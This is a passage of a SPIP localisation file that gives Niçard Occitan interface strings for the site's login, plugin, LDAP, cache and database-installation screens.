'info_login_trop_court' => 'Login tròu court.',
'info_login_trop_court_car_pluriel' => 'Le login déu countenì au mens @nb@ caratère.',
'info_logos' => 'Lu logou',
'info_maximum' => 'massimoum :',
'info_meme_rubrique' => 'En la mema rùbrica',
'info_message_en_redaction' => 'Lu vouòstre message en cours de redacioun',
'info_message_technique' => 'Message tècnicou :',
'info_messagerie_interne' => 'Messagerìa interna',
'info_mise_a_niveau_base' => 'Metuda à nivèu de la vouòstra basa SQL',
'info_mise_a_niveau_base_2' => '{{Mèfi!}} Avès instalat una versioun de fichié SPIP {anterioura} en aquela que si troubava avant soubre estou sit : la vouòstra basa de dounada risca d’estre perduda e lou vouòstre sit noun founciounerà plus.<br />{{Reinstalà lu fichié de SPIP.}}',
'info_modification_enregistree' => 'La vouòtra moudificacioun a estat registrada',
'info_modifier_auteur' => 'Moudificà l’autour :',
'info_modifier_rubrique' => 'Moudificà la rùbrica :',
'info_modifier_titre' => 'Moudificà: @titre@',
'info_mon_site_spip' => 'Lou mieu sit SPIP',
'info_moyenne' => 'mejana :',
'info_multi_cet_article' => 'Lenga d’aquest article :',
'info_multi_langues_choisies' => 'Vourguès seleciounà aquì souta li lenga que soun à dispousicioun dei redatour dóu vouòstre sit.
Li lenga ja emplegadi en lou vouòstre sit (afichadi en premié) noun si pouòdon desativà.',
'info_multi_objets' => '@objets@ : ativà lou menù de lenga',
'info_multi_secteurs' => '... basta per li rùbrica a la raïs dau sit ?',
'info_nb_articles' => '@nb@ article',
'info_nb_auteurs' => '@nb@ autour',
'info_nb_messages' => '@nb@ message',
'info_nb_mots_cles' => '@nb@ mot clau',
'info_nb_rubriques' => '@nb@ rùbrica',
'info_nb_visiteurs' => '@nb@ visitour',
'info_nom' => 'Noum',
'info_nom_destinataire' => 'Noum dau destinatàri',
'info_nom_pas_conforme' => 'lu tag html noun soun autourisat',
'info_nom_site' => 'Noum dóu vouòstre site',
'info_nombre_articles' => '@nb_articles@ article,',
'info_nombre_rubriques' => '@nb_rubriques@ rùbrica,',
'info_nombre_sites' => '@nb_sites@ sit,',
'info_non_deplacer' => 'Noun desplaçà...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP pòu mandà regulieramen, l’anounça dei darrieri nouvità dóu sit (article e brèva publicadi darieramen).',
'info_non_envoi_liste_nouveautes' => 'Noun mandà la lista dei nouvità',
'info_non_modifiable' => 'noun pòu èstre modificat',
'info_non_suppression_mot_cle' => 'noun vouòli suprimà aqueu mot clau.',
'info_notes' => 'Nota',
'info_nouvel_article' => 'Article nòu',
'info_nouvelle_traduction' => 'nouvela traducioun :',
'info_numero_article' => 'ARTICLE NUMERÒ',
'info_obligatoire_02' => '(Oubligatori)',
'info_option_accepter_visiteurs' => 'Achetà l’inscricioun dei visitaire dóu sit public',
'info_option_ne_pas_accepter_visiteurs' => 'Refudà l’inscricioun dei visitour',
'info_options_avancees' => 'OUPCIOUN AVANÇADI',
'info_ou' => 'o... ',
'info_page_interdite' => 'Pàgina prouhibida',
'info_par_nom' => 'per noum',
'info_par_nombre_article' => 'per noumbre d’article',
'info_par_statut' => 'per estatut',
'info_par_tri' => '’(per @tri@)’',
'info_passe_trop_court' => 'Mot de passa tròu court.',
'info_passe_trop_court_car_pluriel' => 'Lou mot de passa dèu countenì au mens @nb@ caratère.',
'info_passes_identiques' => 'Li doui mot de passa noun soun identic.',
'info_plus_cinq_car' => 'mai de 5 caractère',
'info_plus_cinq_car_2' => '(mai de 5 caractère)',
'info_plus_trois_car' => '(mai de 3 caractère)',
'info_popularite' => 'poupularità : @popularite@ ; visita : @visites@',
'info_post_scriptum' => 'Post-Escrich',
'info_post_scriptum_2' => 'Post-Escrich :',
'info_pour' => 'per',
'info_preview_texte' => 'Es poussible de previsualisà lou sit couma se toui lu article e brèva (que àugue au màncou lou statut « proupausat ») èron publicat. Dèu aquela poussibilità estre duberda basta ai aministratour, a toui lu redatour, o a degun ?',
'info_procedez_par_etape' => 'proucedès tapa per tapa',
'info_procedure_maj_version' => 'la proucedura de metuda a jou dèu èstre lançada per adatà la basa de dounada a la nouvèla version de SPIP.',
'info_proxy_ok' => 'Prova dóu proxy ruèisset.',
'info_ps' => 'P.-S.',
'info_publier' => 'publicà',
'info_publies' => 'Lu vouòstre article publicat en ligna',
'info_question_accepter_visiteurs' => 'Se lu esquèletrou dóu vouòstre sit prevehon lou registramen de visitour sensa achès a l’espaci privat, vourguès ativà l’oupcioun seguenta :',
'info_question_inscription_nouveaux_redacteurs' => 'Achetàs li inscricioun de nouvèu redatour a
partì dau sit public ? Se l’achetàs, lu visitaire si pouran inscriéure
da un fourmulari autoumatisat e achederan aloura a l’espaci privat per
proupausà lu sieu article pròpi.<div class="notice">Dóu tems de la fasa d’inscricioun,
lu utilisaire recebon un courrié eletrounic automàticou
que li prouvedisse lu sieu code d’achès au sit privat. D’unu
aubergadour desativon l’espedissioun d’e-mails dai sieu servidou : en aqueu cas, l’inscricioun automatica es
empoussibla.</div>',
'info_qui_edite' => '@nom_auteur_modif@ a trabalhat sus aqueu countengut @date_diff@ minuta fa',
'info_racine_site' => 'Raìs dóu sit',
'info_recharger_page' => 'Vourguès recargà aquela pàgina en un moumentoun.',
'info_recherche_auteur_zero' => 'Minga de resultat troubat per « @cherche_auteur@ ».',
'info_recommencer' => 'Vourguès recoumençà.',
'info_redacteur_1' => 'Redatour',
'info_redacteur_2' => 'qu’a achès à l’espaci privat (<i>recoumandat</i>)',
'info_redacteurs' => 'Redatour',
'info_redaction_en_cours' => 'EN COURS DE REDACIOUN',
'info_redirection' => 'Redirecioun',
'info_redirection_activee' => 'La redirecioun es ativada.',
'info_redirection_boucle' => 'Prouvàs de redirigià l’article sus èu meme',
'info_redirection_desactivee' => 'La redirecioun a estat suprimada.',
'info_refuses' => 'Lu vouòstre article refudat',
'info_reglage_ldap' => 'Oupcioun: <b>Reglage de l’impourtacioun LDAP</b>',
'info_renvoi_article' => '<b>Redirecioun.</b> Aquel article remandà a la pàgina:',
'info_reserve_admin' => 'Lu aministratour soulet pouòdon moudificà aquela adressa.',
'info_restreindre_rubrique' => 'Restregne la gestioun a la rùbrica :',
'info_resultat_recherche' => 'Resultat de la recerca :',
'info_rubriques' => 'Rùbrica',
'info_rubriques_02' => ' rùbrica',
'info_rubriques_trouvees' => 'Rùbrica troubadi',
'info_sans_titre' => 'Sensa titre',
'info_selection_chemin_acces' => '<b>Seleciounàs</b> aquì souta lou camin d’achès en l’anuari :',
'info_signatures' => 'firma',
'info_site' => 'Sit',
'info_site_2' => 'sit : ',
'info_site_min' => 'sit',
'info_site_reference_2' => 'Sit referençat',
'info_site_web' => 'Sit Web :',
'info_sites' => ' sit',
'info_sites_lies_mot' => 'Lu sit referençat ligat en aqueu mot clau',
'info_sites_proxy' => 'Utilisà un proxy',
'info_sites_trouves' => 'Sit troubat',
'info_sous_titre' => 'Souta-titre :',
'info_statut_administrateur' => 'Aministratour',
'info_statut_auteur' => 'Estatut d’aquel autour :',
'info_statut_auteur_2' => 'Siéu',
'info_statut_auteur_a_confirmer' => 'Inscricioun de counfirmà',
'info_statut_auteur_autre' => 'Autre statut :',
'info_statut_redacteur' => 'Redatour',
'info_statut_utilisateurs_1' => 'Estatut predefinit dei utilisaire impourtat',
'info_statut_utilisateurs_2' => 'Chausissès lou statut qu’es atribuit ai persouna presenti en l’anuari LDAP coura si counetoun lou premié còu. Pi pourès moudificà aquela valour per cada autour au cas per cas.',
'info_suivi_activite' => 'Segut de l’atività editouriala',
'info_surtitre' => 'Soubretitre :',
'info_syndication_integrale_1' => 'Lou vouòstre sit proupausat de fichié de sindicacioun (veire « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Desiràs transmetre l’integralità dei article, o difusà lou coumpèndi de quauqui centena de caractère ?',
'info_table_prefix' => 'Poudès moudificà lou prefisse dóu noum dei taula de dounada (acò es indispensable quoura si vòu instalà plusiur sit en la mema basa de dounada). Aqueu prefisse s’ecriéu en letra minusculi, noun acentuadi, e sensa espaci.',
'info_taille_maximale_images' => 'SPIP va prouvà la talha massimala dei image que pòu tratà (en milioun de pixel).<br /> Lu image mai grani noun seran reduchi.',
'info_taille_maximale_vignette' => 'Talha massimala dei vigneta generadi per lou sistema :',
'info_terminer_installation' => 'Ahura poudès acabà la proucedura d’instalacioun estandarda.',
'info_texte' => 'Tèstou',
'info_texte_explicatif' => 'Tèstou espligatiéu',
'info_texte_long' => '(lou tèstou es lonc : aparèisse dounca en tros destint que seràn rempegat un còu validat.)',
'info_texte_message' => 'Tèstou dóu vouòstre message',
'info_texte_message_02' => 'Tèst dóu message',
'info_titre' => 'Titre :',
'info_total' => 'toutal : ',
'info_tous_articles_en_redaction' => 'Toi lu articles en cors de redaccion',
'info_tous_articles_presents' => 'Toui lu article publicat en aquela rùbrica',
'info_tous_articles_refuses' => 'Toui lu article refudat',
'info_tous_les' => 'toui lu :',
'info_tout_site' => 'Tout lou sit',
'info_tout_site2' => 'L’article noun a estat traduch en aquela lenga.',
'info_tout_site3' => 'L’article a estat traduch en aquela lenga, ma si pourtet puèi de moudificacioun a l’article de referença. La traducioun déu estre atualisada.',
'info_tout_site4' => 'L’article a estat traduch en aquela lenga, e la traducioun es atualisada.',
'info_tout_site5' => 'Article ouriginau.',
'info_tout_site6' => '<b>Mèfi :</b> soulamen lu article originau s’afichon.
Li traducioun soun assouciadi a l’ouriginau,
embé una coulou qu’endica lou sieu estat :',
'info_traductions' => 'Traducioun',
'info_travail_colaboratif' => 'Trabalh coulabouratiu sus lu article',
'info_un_article' => 'un article, ',
'info_un_site' => 'un sit, ',
'info_une_rubrique' => 'una rùbrica, ',
'info_une_rubrique_02' => '1 rùbrica',
'info_url' => 'URL :',
'info_url_proxy' => 'URL dóu proxy',
'info_url_site_pas_conforme' => 'l’URL dóu sit noun es valide.',
'info_url_test_proxy' => 'URL de prova',
'info_urlref' => 'Estac ipertèst :',
'info_utilisation_spip' => 'Ahura poudès coumençà d’utilisà lou sistema de publicacioun assistat...',
'info_visites_par_mois' => 'Afichage per mes :',
'info_visiteur_1' => 'Visitaire',
'info_visiteur_2' => 'dóu sit pùblicou',
'info_visiteurs' => 'Visitaire',
'info_visiteurs_02' => 'Visitaire dóu sit pùblicou',
'info_webmestre_forces' => 'Lu webmèstre soun atualamen definit en <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'Adressa de la basa de dounada atribuit dau aubergadour',
'install_connect_ok' => 'La basa nova es ben estada declarada souta lou noum de servidou @connect@.',
'install_echec_annonce' => 'L’instalacioun va proubablamen souhì, o aboutì a un sit noun founciounal...',
'install_extension_mbstring' => 'SPIP noun founciouna embé :',
'install_extension_php_obligatoire' => 'SPIP esija l’estensioun PHP :',
'install_login_base_hebergeur' => 'Login de counecioun atribuit dau aubergadour',
'install_nom_base_hebergeur' => 'Noum de la basa atribuit dau aubergadour :',
'install_pas_table' => 'Basa atualamen sensa taula',
'install_pass_base_hebergeur' => 'Mot de passa de counecioun atribuit dau aubergadour',
'install_php_version' => 'PHP versioun @version@ insufisenta (minimum = @minimum@)',
'install_select_langue' => 'Seleciounàs una lenga pi clicàs sus lou boutoun « seguent » per coumença la proucedura d’instalacioun.',
'install_select_type_db' => 'endicà lou tipe de basa de dounada :',
'install_select_type_mysql' => 'MySQL',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Servidou de basa de dounada atribuit dau aubergadour',
'install_table_prefix_hebergeur' => 'Prefisse de taula atribuit dau aubergadour :',
'install_tables_base' => 'Taula de la basa',
'install_types_db_connus' => 'SPIP saup d’utilisà <b>MySQL</b> (lou mai repandut) e <b>SQLite</b>.',
'install_types_db_connus_avertissement' => 'Lou supouòrt de <b>PostgreSQL</b> es finda proupausat per fin d’esperimentacioun',
'instituer_erreur_statut_a_change' => 'L’estatut a jà estat moudificat',
'instituer_erreur_statut_non_autorise' => 'Noun poudès chausì aqueu estatut',
'intem_redacteur' => 'redatour',
'intitule_licence' => 'Licença',
'item_accepter_inscriptions' => 'Aceptà li inscricioun',
'item_activer_messages_avertissement' => 'Ativà lu message d’avertissamen',
'item_administrateur_2' => 'aministratour',
'item_afficher_calendrier' => 'Afichà en lou calendari',
'item_autoriser_syndication_integrale' => 'Difusì l’integralità dei article en lu fichié de sindicacioun',
'item_choix_administrateurs' => 'lu aministratour',
'item_choix_generation_miniature' => 'Generà autoumaticamen li miniatura dei image.',
'item_choix_non_generation_miniature' => 'Noun generà de miniatura dei image.',
'item_choix_redacteurs' => 'lu redatour',
'item_choix_visiteurs' => 'lu visitaire dóu sit pùblicou',
'item_creer_fichiers_authent' => 'Creà lu fichié .htpasswd',
'item_login' => 'Login',
'item_messagerie_agenda' => 'Ativà la messagerìa e l’agenda',
'item_mots_cles_association_articles' => 'ai article',
'item_mots_cles_association_rubriques' => 'ai rùbrica',
'item_mots_cles_association_sites' => 'ai sit referença o sindicat',
'item_non' => 'Noun',
'item_non_accepter_inscriptions' => 'Noun aceptà li inscricioun',
'item_non_activer_messages_avertissement' => 'Minga de message d’avertissamen',
'item_non_afficher_calendrier' => 'Noun afichà lou calendari',
'item_non_autoriser_syndication_integrale' => 'Difondre un coumpèndi soulamen',
'item_non_creer_fichiers_authent' => 'Noun creà aquelu fichié',
'item_non_messagerie_agenda' => 'Desativà la messagerìa et l’agenda',
'item_non_publier_articles' => 'Noun publicà lu article denant la data de publicacioun prevista.',
'item_nouvel_auteur' => 'Nouvel autour',
'item_nouvelle_rubrique' => 'Nouvela rùbrica',
'item_oui' => 'Ahì',
'item_publier_articles' => 'Publicà lu article, quauque sìgue la data de publicacioun',
'item_reponse_article' => 'Respouòsta a l’article',
'item_version_html_max_html4' => 'Si limità au HTML4 sus lou sit public',
'item_version_html_max_html5' => 'Autourisà lou HTML5',
'item_visiteur' => 'visitaire',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'label_bando_outils' => 'Barra d’autis',
'label_bando_outils_afficher' => 'Afichà lu autis',
'label_bando_outils_masquer' => 'Mascà lu autis',
'label_choix_langue' => 'Seleciounàs la vouòstra lenga',
'label_nom_fichier_connect' => 'Endicàs lou noum utilisat per aqueu sevidour',
'label_slogan_site' => 'Eslougan dóu sit',
'label_taille_ecran' => 'Larguessa de l’ecran',
'label_texte_et_icones_navigation' => 'Menù de navigacioun',
'label_texte_et_icones_page' => 'Afichage en la pàgina',
'ldap_correspondance' => 'eritage dóu camp @champ@',
'ldap_correspondance_1' => 'Eritage dei camp LDAP',
'ldap_correspondance_2' => 'Per cada camp SPIP seguent, endicàs lou noum dóu camp LDAP courrespouòndant. Laissà vuèi per noun lou remplì, desseparà embé dei espaci o dei virgula per prouvà plusiur camp LDAP.',
'lien_ajouter_auteur' => 'Ajustà aquel autour',
'lien_ajouter_une_rubrique' => 'Ajoutà aquela rùbrica',
'lien_email' => 'e-mail',
'lien_nom_site' => 'NOUM DÓU SIT:',
'lien_retirer_auteur' => 'Retirà l’autour',
'lien_retirer_rubrique' => 'Retirà la rùbrica',
'lien_retirer_tous_auteurs' => 'Retirà toui lu autour',
'lien_retirer_toutes_rubriques' => 'Retirà touti li rùbrica toutes les rubriques',
'lien_site' => 'sit',
'lien_tout_decocher' => 'Destacà tout',
'lien_tout_deplier' => 'Desplegà tout',
'lien_tout_replier' => 'Repeglà tout',
'lien_tout_supprimer' => 'Suprimà tout',
'lien_trier_nom' => 'Trià per noum',
'lien_trier_nombre_articles' => 'Trià per noumbre d’article',
'lien_trier_statut' => 'Trià per estatut',
'lien_voir_en_ligne' => 'VEIRE EN LIGNA:',
'logo_article' => 'Logou de l’article',
'logo_auteur' => 'Logou de l’autour',
'logo_rubrique' => 'Logou de la rùbrica',
'logo_site' => 'Logou d’estou sit',
'logo_standard_rubrique' => 'Logou estandard dei rùbrica',
'logo_survol' => 'Logou per lou survol',
// M
'menu_aide_installation_choix_base' => 'Chausida de la vouòstra basa',
'module_fichier_langue' => 'Fichié de lenga',
'module_raccourci' => 'Escourcha',
'module_texte_affiche' => 'Tèstou afichat',
'module_texte_explicatif' => 'Poudès inserì li escorcha seguenti en lu esquèletrou dóu vouòstre sit public. Se tradureran autoumaticamen en li diferenti lenga per de li quali esista un fichié de lenga.',
'module_texte_traduction' => 'Aqueu fichié de lenga « @module@ » es dispounible en :',
'mois_non_connu' => 'noun counouissut',
// N
'nouvelle_version_spip' => 'La versioun @version@ de SPIP es dispounible',
// O
'onglet_contenu' => 'Countengut',
'onglet_declarer_une_autre_base' => 'Declarà un’autra basa',
'onglet_discuter' => 'Discutà',
'onglet_interactivite' => 'Interatività',
'onglet_proprietes' => 'Prouprietà',
'onglet_repartition_actuelle' => 'atualamen',
'onglet_sous_rubriques' => 'Souta-rùbrica',
// P
'page_pas_proxy' => 'Aquela pàgina noun déu passà dóu proxy',
'pas_de_proxy_pour' => 'Poudès endicàs li machina o lu doumani doun aqueu proxy noun déu s’aplicà (per isemple: @exemple@)',
'plugin_charge_paquet' => 'Cargamen dóu paquet @name@',
'plugin_charger' => 'Telecargà',
'plugin_erreur_charger' => 'errour : empoussible de cargà @zip@',
'plugin_erreur_droit1' => 'Lou repertori <code>@dest@</code> noun es accessible en escritura.',
'plugin_erreur_droit2' => 'Vourguès verificà lu drech sus aqueu repertori (e lou creà se besoun), o instalà lu fichié per FTP.',
'plugin_erreur_zip' => 'souhit pclzip : errour @status@',
'plugin_etat_developpement' => 'en desfouloupamen',
'plugin_etat_experimental' => 'esperimental',
'plugin_etat_stable' => 'estable',
'plugin_etat_test' => 'en prova',
'plugin_impossible_activer' => 'Empoussible d’ativà lou plugin @plugin@',
'plugin_info_automatique1' => 'Se souetàs autourisà l’instalacioun autoumatic dei plugin, vourguès :',
'plugin_info_automatique1_lib' => 'Se souetàs autourisà l’instalacioun autoumatic d’aquela biblioutéca, vourguès :',
'plugin_info_automatique2' => 'creà un repertori <code>@rep@</code> ;',
'plugin_info_automatique3' => 'verifica que lou servidou es autourisat a escrieure en aqueu repertori.',
'plugin_info_automatique_creer' => 'a creà a la raìs dau sit.',
'plugin_info_automatique_exemples' => 'isemple :',
'plugin_info_automatique_ftp' => 'Poudès instalà dei plugin, per FTP, en lou repertori <tt>@rep@</tt>',
'plugin_info_automatique_lib' => 'D’uni plugin necessiton de poudé telecargà dei fichié en lou repertori <code>lib/</code>, a creà se besoun a la raìs dau sit.',
'plugin_info_automatique_liste' => 'Lu vouòtre lista de plugin :',
'plugin_info_automatique_liste_officielle' => 'lu plugin óuficial',
'plugin_info_automatique_liste_update' => 'Metre a jou li lista',
'plugin_info_automatique_ou' => 'o...',
'plugin_info_automatique_select' => 'Seleciounàs aquì souta un plugin : SPIP lou telecarguera e l’instalera en lou repertori <code>@rep@</code> ; se aqueu plugin ja esistà, sera mes a jou.',
'plugin_info_credit' => 'Credit',
'plugin_info_erreur_xml' => 'La declaracioun d’aqueu plugin es ?! incorrecte ?!',
'plugin_info_install_ok' => 'Instalacioun rueisseda',
'plugin_info_necessite' => 'Necessita :',
'plugin_info_non_compatible_spip' => 'Aqueu plugin noun es coumpatible embé aquela versioun de SPIP',
'plugin_info_plugins_dist_1' => 'Lu plugin aquì souta soun cargat e ativat en lou repertori @plugins_dist@.',
'plugin_info_plugins_dist_2' => 'Noun soun deativable.',
'plugin_info_telecharger' => 'a telecargà sus @url@ e a instalà en @rep@',
'plugin_info_upgrade_ok' => 'Metuda a jou rueisseda',
'plugin_librairies_installees' => 'Biblioutéca instaladi',
'plugin_necessite_lib' => 'Aqueu plugin demanda la biblioutéca @lib@',
'plugin_necessite_plugin' => 'Demanda lou plugin @plugin@ en versioun @version@ minimum.',
'plugin_necessite_plugin_sans_version' => 'Demanda lou plugin @plugin@',
'plugin_necessite_spip' => 'Demanda SPIP en versioun @version@ minimum.',
'plugin_source' => 'source : ',
'plugin_titre_automatique' => 'Instalacioun autoumatic',
'plugin_titre_automatique_ajouter' => 'Ajustà dei plugin',
'plugin_titre_installation' => 'Instalacioun dóu plugin @plugin@',
'plugin_titre_modifier' => 'Lu miéu plugin',
'plugin_zip_active' => 'Countinuàs per l’ativà',
'plugin_zip_adresse' => 'endicàs aquì souta l’adressa d’un fichié zip de plugin a telecargà, o ben l’adressa d’una lista de plugin.',
'plugin_zip_adresse_champ' => 'Adressa dóu plugin o de la lista ',
'plugin_zip_content' => 'Counten lu fichié seguent (@taille@),<br />lest a instalà en lou repertori <code>@rep@</code>',
'plugin_zip_installe_finie' => 'Lou fichié @zip@ a estat deserat e instalat.',
'plugin_zip_installe_rep_finie' => 'Lou fichié @zip@ estat deserat e instalat en lou repertori @rep@',
'plugin_zip_installer' => 'Poudès ahura l’instalà.',
'plugin_zip_telecharge' => 'Lou fichié @zip@ a estat telecargat',
'plugins_actif_aucun' => 'Minga plugin ativat.',
'plugins_actif_un' => 'Un plugin ativat.',
'plugins_actifs' => '@count@ plugin ativat.',
'plugins_actifs_liste' => 'Atiéu',
'plugins_compte' => '@count@ plugin',
'plugins_disponible_un' => 'Un plugin dispounible.',
'plugins_disponibles' => '@count@ plugin dispounible.',
'plugins_erreur' => 'Errour en lu plugin : @plugins@',
'plugins_liste' => 'Lista dei plugin',
'plugins_liste_dist' => 'Plugin ferouiat',
'plugins_recents' => 'Plugin réchent.',
'plugins_tous_liste' => 'Toui',
'plugins_vue_hierarchie' => 'Gerarquìa',
'plugins_vue_liste' => 'Lista',
'protocole_ldap' => 'Versioun dóu proutoucole :',
// Q
'queue_executer_maintenant' => 'Eseguì ahura',
'queue_info_purger' => 'Poudès supprimà toui lu travai en aspera et reinicialisà la lista embé lu travai periòdicou',
'queue_nb_jobs_in_queue' => '@nb@ travai en aspera',
'queue_next_job_in_nb_sec' => 'Travai que ven en @nb@ s',
'queue_no_job_in_queue' => 'Minga travai en aspera',
'queue_one_job_in_queue' => '1 travai en aspera',
'queue_purger_queue' => 'Reinitialisà la lista dei travai',
'queue_titre' => 'Lista dei travai',
// R
'repertoire_plugins' => 'Repertori :',
'required' => ' (oubligatori)',
// S
'sans_heure' => 'sensa oura',
'statut_admin_restreint' => 'admin limitat',
'statut_webmestre' => 'webmestre',
// T
'tache_cron_asap' => 'Tàcha CRON @function@ (ASAP)',
'tache_cron_secondes' => 'Tàcha CRON @function@ (touti li @nb@ s)',
'taille_cache_image' => 'Lu image que SPIP a carculat autoumaticamen (vigneta dei doucumen, titre presentat en forma gràfica, founcioun matemàtiqui en forma TeX...) oucupon un toutal de @taille@ en lou repertori @dir@.',
'taille_cache_infinie' => 'Aqueu site noun preve de limitacioun de talha dóu repertori de l’amagadou.',
'taille_cache_maxi' => 'SPIP prouva de limità la talha dóu repertori de l’amagador d’estou sit a cìrca <b>@octets@</b> de dounada.',
'taille_cache_moins_de' => 'La talha de l’amagadou es màncou de @octets@.',
'taille_cache_octets' => 'Ahura la talha de l’amagador es cìrca de @octets@.',
'taille_cache_vide' => 'L’amagadou es vuèi.',
'taille_repertoire_cache' => 'Talha dóu repertori amagadou',
'text_article_propose_publication' => 'Article proupausat per la publicacioun.',
'texte_acces_ldap_anonyme_1' => 'Certen servidou LDAP achèton minga d’achès anounime. En aqueu cas, cau spechificà un identificant d’achès inicial per poudé pi recercà d’informacion en l’annuari. Lu camp seguent si pouràn laissà vuèi en la majour part dei cas.',
'texte_admin_effacer_01' => 'Aquela coumanda escafa <i>tout</i> lou countengut de la basa de dounada,
embé <i>toui</i> lu achès redatour e aministratour. Coura l’aurès eseguit, deurès
reinstalà SPIP per recreà una basa nouvèla couma pura un premié achès aministratour.',
'texte_adresse_annuaire_1' => '(Se lou vouòstre annuari es instalat soubre la mema màquina qu’estou sit web, si trata proubablamen de « localhost ».)',
'texte_ajout_auteur' => 'L’autour seguent es estat ajustat a l’article :',
'texte_annuaire_ldap_1' => 'S’avès achès a un annuari (LDAP), lou poudès utilisà per ',
'texte_article_statut' => 'Aquel article :',
'texte_article_virtuel' => 'Article virtual',
'texte_article_virtuel_reference' => '<b>Article virtual :</b> article referençat en lou vouòstre sit SPIP, mà redirigit vers una autra URL. Per suprimà la redirecioun, escassàs l’URL aquì soubre.',
'texte_aucun_resultat_auteur' => 'Minga resultat per « @cherche_auteur@ »',
'texte_auteur_messagerie' => 'Estou sit vi pòu endicà en permanença la lista dei redatour counetat, cen que vi permete d’escambià de message en diret. Poudès dechìdre de noun aparèisse en aquela lista (siès « invisible/a » dei autre utilisaire).',
'texte_auteurs' => 'LU AUTOUR',
'texte_choix_base_1' => 'Chausissès la vouòstra basa:',
'texte_choix_base_2' => 'Lou servidou SQL counten mai d’una basa de dounada.',
'texte_choix_base_3' => '<b>Chausissès</b> aquì souta aquela que lou vouòstre aubergadour v’a atribuit :',
'texte_choix_table_prefix' => 'Prefis dei taula :',
'texte_compatibilite_html' => 'Poudès demandà a SPIP de proudurre, sus lou sit pùblicou, de code coumptatible embé la norma <i>HTML 4</i>, o li permetre d’utilisà li poussibilità mai mouderni dóu <i>HTML 5</i>.',
'texte_compatibilite_html_attention' => 'Li a minga risc a ativà l’oupcioun <i>HTML 5>/i>, mà se lou fès, li pàgina dóu vouòstre sit deuran coumençà embé li mencioun seguent per està vàlidi : <code>< !DOCTYPE html></code>.',
'texte_compte_element' => '@count@ elemen',
'texte_compte_elements' => '@count@ elemen',
'texte_conflit_edition_correction' => 'Vourguès countroulà aquì souta li diferença tra li doui versioun dóu tèstou ; poudès finda coupià li vouòstri moudificacioun, pi recoumençà.',
'texte_connexion_mysql' => 'Counsultàs li infourmacioun que lou vouòstre aubergadour fournisse : li devès troubà lou servidou de basa de dounada que proupausa e lu identificant persounal per vi counetà.',
'texte_contenu_article' => '(Countengut de l’article en quauque mot.)',
'texte_contenu_articles' => 'Segoun la maqueta que lou vouòstre sit a adoutada, poudès dechidre
que d’unu elemen dei article noun soun utilisat.
Utilisàs la lista aquì souta per endicà quau elemen soun dispounible.',
'texte_crash_base' => 'Se la vouòstra basa de dounada s’es
encalada, poudès prouvà una reparacioun
autoumatica.',
'texte_creer_rubrique' => 'Denant de poudé escrieure d’articles<br/>, devès creà una rùbrica.',
'texte_date_creation_article' => 'DATA DE CREACIOUN DE L’ARTICLE:', # on ajoute le ":"
'texte_date_creation_objet' => 'Data de créacioun :', # on ajoute le ":"
'texte_date_publication_anterieure' => 'Data de redacioun anterioura :',
'texte_date_publication_anterieure_nonaffichee' => 'Noun faire aparèisse de data de redacioun anterioura.',
'texte_date_publication_article' => 'DATA DE PUBLICACIOUN EN LIGNA:',
'texte_date_publication_objet' => 'Data de publicacioun en ligna :',
'texte_descriptif_rapide' => 'Descritiu rapide',
'texte_effacer_base' => 'Escassà la basa de dounada SPIP',
'texte_effacer_statistiques' => 'Escassà li estatìstica',
'texte_en_cours_validation' => 'Lu countengut aquì souta asperoun d’estre validat.',
'texte_enrichir_mise_a_jour' => 'Poudès enriquì la coumpaginacioun dóu vouòstre tèstou en utilisant d’« escourcha tipougràfica »',
'texte_fichier_authent' => '<b>Déu SPIP creà de fichié especial
<tt>.htpasswd</tt> e <tt>.htpasswd-admin</tt> en lou repertori @dossier@ ?</b>
<p>Aquelu fichié vi pouòdon servì per restrègne l’achès ai autour e aministratour en d’autre luèc dóu vouòstre sit (prougrama estèrnou d’estatìstica, per isemple).</p>
<p>Se noun vi sièrve, poudès laissà aquesla oupcioun a la sieu valour predefinida (minga de creacioun de fichié).</p>',
'texte_informations_personnelles_1' => 'Ahura lou sistèma vi va creà un achès persounalisat au sit.',
'texte_informations_personnelles_2' => '(Nota : es una reinstalacioun, se lou vouòstre achès marcha encara, poudès',
'texte_introductif_article' => '(Test introdutiu de l’article.)',
'texte_jeu_caractere' => 'Es counsilhat d’emplegà, sus lou vouòstre sit, l’alfabet universal (<tt>utf-8</tt>) : permete d’afichà de tèstou en touti li lenga sensa proublema de coumpatibilitat embé lu navigatour mouderne.',
'texte_jeu_caractere_3' => 'Lou vouòstre sit es atualamen instalat dau juèc de carater :',
'texte_jeu_caractere_4' => 'En cas qu’aquò noun courrespouònde a la realità dei vouòstri dounada (après, per isemple, una restouracioun de basa de dounada), o <em>que coumencàs estou sit</em> e desiràs chausì un autre juèc de caracter, endicàs-lou aicí : ',
'texte_login_ldap_1' => '(Laissà vuèi per un achès anounime, o intrà lou camin coumplet, per isemple «<tt>uid=fabre, ou=users, dc=lou-mieu-doumìni, dc=com</tt>».)',
'texte_login_precaution' => 'Mèfi ! Aquò es lou login embé lou qual siès ahura counetat.
Utilisàs aqueu fourmulari embé precaucioun...',
'texte_messagerie_agenda' => 'Una messagerìa permete ai redatour dóu sit de coumunicà diretamen tra elu en l’espaci privat dóu sit. Es assouciada a un agènda.',
'texte_mise_a_niveau_base_1' => 'Venès de metre a jou lu fichié SPIP.
Ahura cau metre a nivèu la basa de dounada
dóu sit.',
'texte_modifier_article' => 'Moudificà l’article :',
'texte_multilinguisme' => 'Se vourguès gerà d’ouget en mai d’una lenga, embé una navigacioun complessa, poudès ajustà un menù de selecioun de lenga sus aquelu ouget, en founcioun de l’ourganisacioun dóu vouòstre sit.',
'texte_multilinguisme_trad' => 'Poudès finda ativà un sistema de gestioun dei estac tra li diferenti traducioun sus certen ouget.',
'texte_non_compresse' => '<i>noun coumprimat</i> (lou vouòstre servidou noun supouòrta aquela founciounalità)',
'texte_nouvelle_version_spip_1' => 'Avès instalat una nouvèla versioun de SPIP.',
